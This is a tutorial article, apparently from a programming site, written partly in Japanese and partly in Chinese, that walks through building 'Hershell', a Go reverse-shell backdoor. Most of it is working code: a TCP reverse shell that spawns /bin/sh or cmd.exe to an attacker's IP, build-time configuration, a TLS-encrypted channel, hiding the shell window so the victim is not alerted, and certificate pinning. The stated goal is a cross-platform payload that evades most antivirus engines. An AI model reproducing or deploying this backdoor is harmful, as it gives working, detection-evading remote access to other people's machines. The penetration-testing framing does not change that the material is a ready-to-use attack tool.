ホームページ  >  記事  >  バックエンド開発  >  Go言語は侵入テストに使用できますか?

Go言語は侵入テストに使用できますか?

青灯夜游
青灯夜游オリジナル
2023-01-03 17:30:213781ブラウズ

Go 言語は侵入テストに使用できます。 Go を使用すると、外部依存関係を必要とせずにクロスコンパイルを非常に簡単に実行できます。標準ライブラリのおかげで、Go バイナリには、ターゲット アーキテクチャで実行するために必要なコードがすべて含まれているため、Go 言語を使用すると、同じソース コードから複数のプラットフォーム用のバイナリを簡単に構築できるようになります。

Go言語は侵入テストに使用できますか?

このチュートリアルの動作環境: Windows 7 システム、GO バージョン 1.18、Dell G3 コンピューター。

ペネトレーション テストとは

ペネトレーション テストは、セキュリティをテストするために設計されたコンピュータ システムに対する許可された模擬攻撃です。評価の実施により、次のようなメカニズムが提供されます。ネットワーク防御が計画どおりに機能していることを実証します。あなたの会社では、セキュリティ ポリシーと手順を定期的に更新し、システムに随時パッチを適用し、脆弱性スキャナーなどのツールを使用してすべてのパッチが確実に適用されていると仮定します。

Go 言語は侵入テストに使用できます

以下は例を使って紹介します: リバウンド バックドア Hershell の作成

侵入テスト プロセス中に不可欠なツールは、有名で非常に優れた Metasploit フレームワークです。

この環境には、多数のペイロード、エンコーダー、その他のツールが含まれています。 Meterpreter はこれらのペイロードの中でも重要です。これは、開発された、悪用後のコマンドを備えたシェルの修正バージョンです。強力な攻撃特性により、このシェルはおそらく最も一般的に使用されます。

Meterpreter の問題

残念ながら、Meterpreter の人気には欠点があります。それは、ほとんどのウイルス対策およびシグネチャベースのソリューションが Meterpreter を検出できるということです。通常、侵入テスト中に、Meterpreter ペイロードを含むバイナリが検出され、隔離のために送信されます。

もう 1 つの問題は、特定のターゲット アーキテクチャ (BSD など) がサポートされていないため、独自のバックドアを開発する必要があることです。

上記の問題により、Hershell を作成するようになりました。このプロジェクトの目標は、クロスプラットフォームでウイルス対策ソフトウェアによって検出できない、単一のソース コードに基づくリバース シェル ペイロードを提供することです。

Google が開発したコンパイル言語である Go 言語を使用して開発を行っています。

GO 言語を使用する理由

現在、Python はおそらく、スクリプトを作成したり、特にセキュリティ分野でアプリケーションを完成させるための最も人気のある言語です。では、なぜ新しい言語を学習する必要があるのでしょうか?

Go には、Python や他の言語に比べて 1 つの利点があります。それは、外部依存関係なしでクロスコンパイルを実行するのが非常に簡単であることです。標準ライブラリのおかげで、Go バイナリには、ターゲット アーキテクチャで実行するために必要なコードがすべて含まれています。したがって、Go 言語を使用すると、同じソース コードから複数のプラットフォーム用のバイナリを簡単に構築できるようになります。

#目標

このコードを構築するときは、次の目標を達成したいと考えています:

payload类型是reverse shell;
得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload;
容易配置;
加密通信;
绕过大多数反病毒检测引擎。

環境の準備

Go パッケージをお気に入りのディストリビューションからインストールするか、公式 Web サイトからダウンロードします。

インストールが完了したら、環境を構成する必要があります。ソース、ライブラリ、ビルド バイナリのルートとなる dev ディレクトリを作成します:

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
このディレクトリは次の計画に従います:

bin包含编译后的二进制文件和其他可执行文件;
pkg包含Go下载包的对象文件;
src包含你的应用程序和下载包的源目录。

初めてのリバース シェル

まず、Go 言語を使用して簡単な TCP リバース シェルを作成します。

ここでは、コードを 1 行ずつコメントするのではなく、完全にコメントされたバージョンを示します。

// filename: tcp.go
package main
import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)
func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
    conn, err := net.Dial("tcp", "192.168.0.23:2233")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}
まず、net.Dial を使用してリモート サーバーへの接続を確立します。 Go 標準ライブラリの net パッケージは、TCP または UDP に基づくネットワーク通信の抽象化レイヤーです。

パッケージの使用方法について詳しくは、ドキュメント (go doc) を参照してください。

$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
スクリプトに戻りましょう。

接続が確立されると (失敗した場合はプログラムが停止します)、exec.Command 関数を使用してプロセス (exec.Cmd 型のオブジェクト) を作成します。すべての入力と出力 (stdout、stdin、および stderr) が接続にリダイレクトされ、プロセスが開始されます。

これで、ファイルをコンパイルできます:

$ go build tcp.go
$ ./tcp
次に、リスナーを有効にする必要があります:

# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)

如预期的那样,我们得到了reverse shell。 

到目前为止我们大多数的目标尚未实现。

配置

我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。

这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。 

事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。 

这是使用前面代码的一个简短的例子:

// filename: tcp.go
package main
import (
    "net"
    "os" 
    "os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:

var connectString string

其代码编译如下:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go

当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。 

注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。

为了简化编译,我们可以创建一个Makefile:

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
    ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
    rm -f ${OUTPUT}

本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go

跨平台

既然可以很容易地配置 payload,也可以跨平台使用它。

如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。

准确地说, runtime提供了GOOS和GOARCH变量。 

让我们看看如何使用GOOS:

// filename: tcp_multi.go
package main
import (
    "net"
    "os"
    "os/exec"
    "runtime"   // requirement to access to GOOS
)
var connectString string
func main() {
    var cmd *exec.Cmd
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    case "linux":
        cmd = exec.Command("/bin/sh")
    case "freebsd":
        cmd = exec.Command("/bin/csh")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。 

上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:

switch runtime.GOOS {
case "windows":
    // Windows specific branch
    cmd = exec.Command("cmd.exe")
default:
    // any other OS
    cmd = exec.Command("/bin/sh")
}

现在,使用GOARCH处理交叉编译架构非常简单:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

网络加密

现在,让我们看看如何加密网络流量。  

有几种选择:

用一个自制的方法,在应用程序层建立加密
使用一种被广泛使用并且在会话层测试协议的方法,即TLS。

鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。

在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。

这是新的代码库,进行了轻微的优化和TLS处理:

import (
    "crypto/tls"
    "runtime"
    "os"
    "os/exec"
    "net"
)
var connectString string
func GetShell(conn net.Conn) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Stdin = conn
    cmd.Run()
}
func Reverse(connectString string) {
    var (
        conn *tls.Conn
        err  error
    )
    // Creation of the tls.Config object
    // Accepting *any* server certificate
    config := &tls.Config{InsecureSkipVerify: true}
    if conn, err = tls.Dial("tcp", connectString, config); err != nil {
        os.Exit(-1)
    }
    defer conn.Close()
    // Starting the shell
    GetShell(conn)
}
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    Reverse(connectString)
}

如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。

条件编译

如上图所示,可以改变取决于目标操作系统的程序执行。

然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。

幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
    Chroot       string         // Chroot.
    Credential   *Credential    // Credential.
    Ptrace       bool           // Enable tracing.
    Setsid       bool           // Create session.
    Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
    Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
    Noctty       bool           // Detach fd 0 from controlling terminal
    Ctty         int            // Controlling TTY fd
    Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
    Pgid         int            // Child's process group ID if Setpgid.
    Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
    Cloneflags   uintptr        // Flags for clone calls (Linux only)
    Unshareflags uintptr        // Flags for unshare calls (Linux only)
    UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
    GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
    // GidMappingsEnableSetgroups enabling setgroups syscall.
    // If false, then setgroups syscall will be disabled for the child process.
    // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
    // users this should be set to false for mappings work.
    GidMappingsEnableSetgroups bool
}

然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。

此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。

该属性也正是我们的后门需要的。

我们可能会被这一实现所吸引:

...
switch runtime.GOOS {
case "windows":
    cmd := exec.Cmd("cmd.exe")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
    cmd := exec.Cmd("/bin/sh")
}
...

然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。

因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:

// +build windows !linux !darwin !freebsd
import net
...

当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。  

为了在我们的项目中实现该条件编译,我们将遵循这个结构:

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
    ├── shell_default.go
    └── shell_windows.go

hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。  

证书锁定

使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。  

为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。 

以下函数负责证书锁定(certificate pinning):

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
        valid := false
        connState := conn.ConnectionState()
        for _, peerCert := range connState.PeerCertificates {
                hash := sha256.Sum256(peerCert.Raw)
                if bytes.Compare(hash[0:], fingerprint) == 0 {
                        valid = true
                }
        }
        return valid, nil
}

这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。 

如果碰巧没有证书匹配,函数返回false。

当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:

func Reverse(connectString string, fingerprint []byte) {
        var (
                conn *tls.Conn
                err  error
        )
        config := &tls.Config{InsecureSkipVerify: true}
        if conn, err = tls.Dial("tcp", connectString, config); err != nil {
                os.Exit(ERR_HOST_UNREACHABLE)
        }
        defer conn.Close()
        // checking the certificate fingerprint
        if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
                os.Exit(ERR_BAD_FINGERPRINT)
        }
        RunShell(conn)
}

最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...

【相关推荐:Go视频教程编程教学

以上がGo言語は侵入テストに使用できますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。